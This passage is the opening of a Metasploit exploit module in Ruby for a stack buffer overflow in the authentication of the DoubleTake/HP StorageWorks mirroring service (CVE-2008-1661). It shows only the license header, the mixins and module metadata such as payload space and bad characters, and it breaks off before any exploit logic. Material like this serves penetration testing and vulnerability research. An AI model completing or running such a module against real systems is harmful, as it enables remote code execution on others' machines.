##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the authentication mechanism of
NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
was found by Titon of Bastard Labs.
},
'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
'Version' => '$Revision: 9669 $',
'References' =>
[
['CVE', '2008-1661' ],
['OSVDB', '45924' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
},
'Platform' => 'win',